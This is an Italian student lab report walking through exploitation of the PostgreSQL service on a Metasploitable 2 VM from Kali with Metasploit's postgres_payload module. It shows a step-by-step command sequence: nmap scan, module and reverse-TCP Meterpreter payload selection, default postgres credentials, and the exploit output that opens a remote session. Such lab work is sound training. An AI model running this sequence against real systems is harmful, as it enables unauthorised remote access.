

REPORT S7/L2

Lo scopo dell'esercizio è quello di utilizzare il modulo **exploit/ linux /postgres /postgres_payload** per sfruttare le vulnerabilità del servizio **PostgreSQL** di **Metasploitable 2**. Esegui **l'exploit** per ottenere una sessione **Meterpreter** sul sistema target.

SVOLGIMENTO

Per prima cosa andremo ad impostare l'**IP** di **Kali** con il comando:

```
sudo ifconfig eth0 192.168.1.25
```

dove **eth0** è l'interfaccia di rete di riferimento e verificheremo con **"ip a"** che l'ip sia stato cambiato. **Figura 1**.

```
(kali@kali)-[~]
$ sudo ifconfig eth0 192.168.1.25
[sudo] password for kali:

(kali@kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:ad:25:87 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.25/24 brd 192.168.1.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::6a72:bb4f:8e12:ac17/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

Figura 1, viene impostato l'ip di kali e si va a verificare la modifica "ip a".

Procederemo poi allo stesso modo sulla macchina **Metasploitable**:

```
sudo ifconfig eth0 192.168.1.40
```

anche in questo caso con **"ip a"** andremo a verificare la riuscita dell'operazione. **Figura 2**

```
msfadmin@metasploitable:~$ sudo ifconfig eth0 192.168.1.40
[sudo] password for msfadmin:
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:85:8a:68 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.40/24 brd 192.168.1.255 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe85:8a68/64 scope link
        valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$
```

Figura 2, viene impostato l'ip di Metasploitable e si va a verificare la modifica "ip a".

Andiamo ora a verificare che vi sia comunicazione tra le due macchine mediante “ping”. **Figura 3.**

```
(kali@kali)-[~]
$ ping 192.168.1.40
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data.
64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=0.788 ms
64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=0.165 ms
64 bytes from 192.168.1.40: icmp_seq=3 ttl=64 time=0.157 ms
64 bytes from 192.168.1.40: icmp_seq=4 ttl=64 time=0.193 ms
64 bytes from 192.168.1.40: icmp_seq=5 ttl=64 time=0.279 ms
64 bytes from 192.168.1.40: icmp_seq=6 ttl=64 time=0.168 ms
^C
--- 192.168.1.40 ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5133ms
rtt min/avg/max/mdev = 0.157/0.291/0.788/0.225 ms

msfadmin@metasploitable:~$ ping 192.168.1.40
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data.
64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=0.007 ms
64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=0.008 ms
64 bytes from 192.168.1.40: icmp_seq=3 ttl=64 time=0.009 ms
64 bytes from 192.168.1.40: icmp_seq=4 ttl=64 time=0.008 ms
64 bytes from 192.168.1.40: icmp_seq=5 ttl=64 time=0.009 ms
--- 192.168.1.40 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 3996ms
rtt min/avg/max/mdev = 0.007/0.008/0.009/0.002 ms
```

Figura 3, si verifica la comunicazione tra le due macchine “ping”.

Si procede quindi con una scansione **nmap** su **Metasploitable** per individuare i servizi vulnerabili, nello specifico **PostgreSQL**. **Figura 4**

nmap -sV -T5 192.168.1.40

```
(kali@kali)-[~]
$ nmap -sV -T5 192.168.1.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-22 14:20 CET
Nmap scan report for 192.168.1.40
Host is up (0.00044s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell          Netkit rshd
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp           ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  x11            (access denied)
```

Figura 4, evidenziato in rosso il servizio PostgreSQL vulnerabile sulla porta 5432.

Apriamo ora Metasploit, “**msfconsole**”, e cerchiamo il servizio in questione con il comando: **Figura 5**

search postgresql

```
msf6 > search exploit postgresql

Matching Modules

#  Name
-  -
0  exploit/multi/http/manage_engine_dc_pmp_sqli
1  \  target: Automatic
2  \  target: Desktop Central v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows
3  \  target: Desktop Central MSP v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows
4  \  target: Desktop Central [MSP] v7 >= b70200 / v8 / v9 < b90039 (MySQL) on Windows
5  \  target: Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Windows
6  \  target: Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Windows
7  \  target: Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Linux
8  \  target: Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Linux
9  auxiliary/admin/http/manageengine_pmp_privesc
10 exploit/multi/postgres/postgres_copy_from_program_cmd_exec
11 \  target: Automatic
12 \  target: Unix/OSX/Linux
13 \  target: Windows - PowerShell (In-Memory)
14 \  target: Windows (CMD)
15 exploit/multi/postgres/postgres_createlang
16 exploit/linux/postgres/postgres_payload
17 \  target: Linux x86
```

Figura 5 dopo il comando search vengono restituiti gli exploit disponibili, in rosso è evidenziato quello richiesto.

Dopo aver trovato quello richiesto dall'esercizio si può procedere andando a selezionare con **“use 16”** o **“use path/to/file”** seguito da **“show options”** per visualizzarne la configurazione. **Figura 6**

```
msf6 > use 16
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(linux/postgres/postgres_payload) > show options

Module options (exploit/linux/postgres/postgres_payload):

  Name      Current Setting  Required  Description
  -  -  -  -
  VERBOSE   false           no        Enable verbose output

  pathen
  Used when connecting via an existing SESSION:

  Name      Current Setting  Required  Description
  -  -  -  -
  SESSION    no              no        The session to run this module on

  Used when making a new connection via RHOSTS:

  Name      Current Setting  Required  Description
  -  -  -  -
  DATABASE  postgres        no        The database to authenticate against
  PASSWORD  postgres        no        The password for the specified username. Leave blank for a random password
  RHOSTS     no              no        The target host(s), see https://docs.metasploit.com/docs/using-the-framework/04-running-exploits.html#section-4-1-1
  RPORT     5432            no        The target port
  USERNAME  postgres        no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  -  -  -  -
  LHOST     192.168.1.25    yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port
```

Figura 6, viene selezionato l'exploit richiesto con “use” e se ne visualizza la configurazione con “show options”.

Vado poi ad impostare l' **host remoto** e l' **host locale** con i seguenti comandi:

set rhost 192.168.1.40

set lhost 192.168.1.25

Si può fare un check di controllo con **“show options”** per verificare che siano stati impostati correttamente.

Con il comando **“show payloads”** andremo adesso a mostrare i **payload** disponibili e ne sceglieremo uno che consentirà di aprire una sessione **Meterpreter** sull' **host target**. Nel caso specifico sceglieremo **“reverse TCP”** mediante il comando **“set payload 16”**. **Figura 7**

```
msf6 exploit(linux/postgres/postgres_payload) > show payloads

Compatible Payloads

# Name Disclosure Date Rank Check Description
- - - - -
0 payload/generic/custom . normal No Custom Payload
1 payload/generic/debug_trap . normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_aws_ssm . normal No Command Shell, Bind SSM (via AWS API)
3 payload/generic/shell_bind_tcp . normal No Generic Command Shell, Bind TCP Inline
4 payload/generic/shell_reverse_tcp . normal No Generic Command Shell, Reverse TCP Inline
5 payload/generic/ssh_interact . normal No Interact with Established SSH Connection
6 payload/generic/tight_loop . normal No Generic x86 Tight Loop
7 payload/linux/x86/chmod . normal No Linux Chmod
8 payload/linux/x86/exec . normal No Linux Execute Command
9 payload/linux/x86/meterpreter/bind_ipv6_tcp . normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
10 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid . normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
11 payload/linux/x86/meterpreter/bind_nonx_tcp . normal No Linux Mettle x86, Bind TCP Stager
12 payload/linux/x86/meterpreter/bind_tcp . normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
13 payload/linux/x86/meterpreter/bind_tcp_uuid . normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
14 payload/linux/x86/meterpreter/reverse_ipv6_tcp . normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
15 payload/linux/x86/meterpreter/reverse_nonx_tcp . normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/meterpreter/reverse_tcp . normal No Linux Mettle x86, Reverse TCP Stager
17 payload/linux/x86/meterpreter/reverse_tcp_uuid . normal No Linux Mettle x86, Reverse TCP Stager
18 payload/linux/x86/meterpreter/service_bind_tcp . normal No Linux Meterpreter Service, Bind TCP
19 payload/linux/x86/meterpreter/service_reverse_tcp . normal No Linux Meterpreter Service, Reverse TCP Inline
20 payload/linux/x86/read_file . normal No Linux Read File
21 payload/linux/x86/shell/bind_ipv6_tcp . normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
22 payload/linux/x86/shell/bind_ipv6_tcp_uuid . normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
23 payload/linux/x86/shell/bind_nonx_tcp . normal No Linux Command Shell, Bind TCP Stager
24 payload/linux/x86/shell/bind_tcp . normal No Linux Command Shell, Bind TCP Stager (Linux x86)
25 payload/linux/x86/shell/bind_tcp_uuid . normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
26 payload/linux/x86/shell/reverse_ipv6_tcp . normal No Linux Command Shell, Reverse TCP Stager (IPv6)
27 payload/linux/x86/shell/reverse_nonx_tcp . normal No Linux Command Shell, Reverse TCP Stager
28 payload/linux/x86/shell/reverse_tcp . normal No Linux Command Shell, Reverse TCP Stager
29 payload/linux/x86/shell/reverse_tcp_uuid . normal No Linux Command Shell, Reverse TCP Stager
30 payload/linux/x86/shell_bind_ipv6_tcp . normal No Linux Command Shell, Bind TCP Inline (IPv6)
31 payload/linux/x86/shell_bind_tcp . normal No Linux Command Shell, Bind TCP Inline
32 payload/linux/x86/shell_bind_tcp_random_port . normal No Linux Command Shell, Bind TCP Random Port Inline
33 payload/linux/x86/shell_reverse_tcp . normal No Linux Command Shell, Reverse TCP Inline
34 payload/linux/x86/shell_reverse_tcp_ipv6 . normal No Linux Command Shell, Reverse TCP Inline (IPv6)

msf6 exploit(linux/postgres/postgres_payload) > set payload 16
payload => linux/x86/meterpreter/reverse_tcp
```

Figura 7, vengono mostrati a schermo i payloads disponibili “show payloads” e si sceglie quello richiesto “set payload 16”.

Avevamo impostato in precedenza i gli **host** (remoto e locale), non resta quindi che procedere con l’ attacco, **“exploit”**. **Figura 8**

```
msf6 exploit(linux/postgres/postgres_payload) > exploit

[*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.40:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/xiHqyhZ.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.1.40
[*] Meterpreter session 1 opened (192.168.1.25:4444 -> 192.168.1.40:50871) at 2025-01-22 14:35:43 +0100
```

Figura 8, il comando exploit avvia l’ attacco e la riga evidenziata mi conferma l’ apertura della sessione.

L’ ultimo passo sar  quello di verificare di aver attaccato con successo la macchina **Metasploitable**, lo faremo dalla **shell meterpreter** con il comando **“ifconfig”** per confermare che l’ IP in output sia **192.168.1.04** (IP di metasploitable). **Figura 9**

```
meterpreter > ip a
[-] Unknown command: ip. Run the help command for more details.
meterpreter > ifconfig

Interface 1
-----
Name       : lo
Hardware MAC : 00:00:00:00:00:00
MTU        : 16436
Flags      : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff ::

Interface 2
-----
Name       : eth0
Hardware MAC : 08:00:27:85:8a:68
MTU        : 1500
Flags      : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.1.40
IPv4 Netmask : 255.255.255.0
```

Figura 9, il comando “ifconfig” mostra l’ ip della macchina metasploitable dalla shell meterpreter.